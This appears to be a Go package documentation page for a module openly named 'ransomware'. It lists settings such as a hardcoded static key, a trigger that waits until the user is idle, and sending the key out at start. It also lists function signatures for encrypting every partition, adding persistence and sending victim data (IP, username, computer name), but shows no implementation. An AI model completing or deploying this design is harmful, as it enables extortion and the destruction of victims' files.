ransomware

package module
v0.0.0-...-73c5383 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 4, 2022 License: AGPL-3.0 Imports: 17 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var Debug = true

Debug bool DebugMode

View Source
var Key = GenerateKey()

/TODO: make this work somehow Key text any If you want to use a satic key, put it here

View Source
var MaxFileSize = 1024 * 1024 * 1024 * 1024

/TODO: use this MaxFileSize uint If the file size is bigger than this, don't encrypt the file

View Source
var Message = "Your unique id is " + UUID + " other text you might want here"

/Text as the data type means the user types exactly what the variable will have (in this case /the input from the frontend will have exactly this -> "Your unique id is " + UUID + " other text you might want here" Message text Change this message based on what you want the user to see

View Source
var SendKeyAtStart = true

SendKeyAtStart bool Sends the key at the start of the encryption

View Source
var StaticKey = "12345678901234567890123456789012" ///insecure af

StaticKey string the static key which will be used to encrypt the files if there is no internet and the apropriate setting is enabled

View Source
var UUID = ""

/ TODO: code a custom uuid thingy or use a package

View Source
var UseDict = true

UseDict bool The dict is faster if you have ~70 or more extensions, if this is set to true a dictionary will be used instead of a list

View Source
var WaitAfk = 1000000000 ///for debugging purposes

WaitAfk uint Time to wait until the user is considered afk and the ransomware is ran, in nanoseconds (divide by 1000000000)

View Source
var WaitForInternet = true

WaitForInternet bool if this is false it will use the static key and won't wait for the user to be online

View Source
var WallpaperUrl = ""

WallpaperUrl string Sets the wallpaper, leave empty to disable

Functions

func AddPersistence

func AddPersistence()

TODO: add persistence

func AddToStartup

func AddToStartup()

TODO: Add to startup

func ChangePerms

func ChangePerms(file string) error

func CreateMessage

func CreateMessage()

CreateMessage You can modify the path you want the message to be written here

func Decrypt

func Decrypt(key, data []byte) []byte

func DecryptEveryPartition

func DecryptEveryPartition(key []byte)

func DecryptFile

func DecryptFile(path string, key []byte) error

func Encrypt

func Encrypt(key, data []byte) []byte

func EncryptEveryPartition

func EncryptEveryPartition(key []byte)

EncryptEveryPartition for each partition, launch a new routine and wait for all to complete because the ransomware will recursively run on /, it will on any partition anyway but not concurrently, think of a way to skip checking already encrypted paths that doesn't affect performance

func EncryptFile

func EncryptFile(path string, key []byte) error

func EncryptFileWoExtChecking

func EncryptFileWoExtChecking(path string, key []byte) error

Encrypts the file without checking first if the extension isn't "extension" or in the ext list/dict

func EncryptPathsConcurrently

func EncryptPathsConcurrently(paths []string, key []byte)

func GenerateKey

func GenerateKey() string

func GetFileExtension

func GetFileExtension(path string) string

func GetFileExtensionFast

func GetFileExtensionFast(path string) string

func GetFileExtensionFastest

func GetFileExtensionFastest(path string) string

we don't need the useless reverse

func RecursivelyDecryptDirectory

func RecursivelyDecryptDirectory(startingPath string, key []byte) error

func RecursivelyEncryptDirectory

func RecursivelyEncryptDirectory(startingPath string, key []byte) error

func RemovePersistence

func RemovePersistence()

func SendRansomData

func SendRansomData()

func Start

func Start()

Starts the ransomware, respecting all settings from settings.go

Types

type RansomData

type RansomData struct {
	IPData       go_grab_ip.IPData
	Key          string
	Username     string
	ComputerName string
	UUID         string
}
var CurrentRansomData RansomData

Directories

Path Synopsis
cmd

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL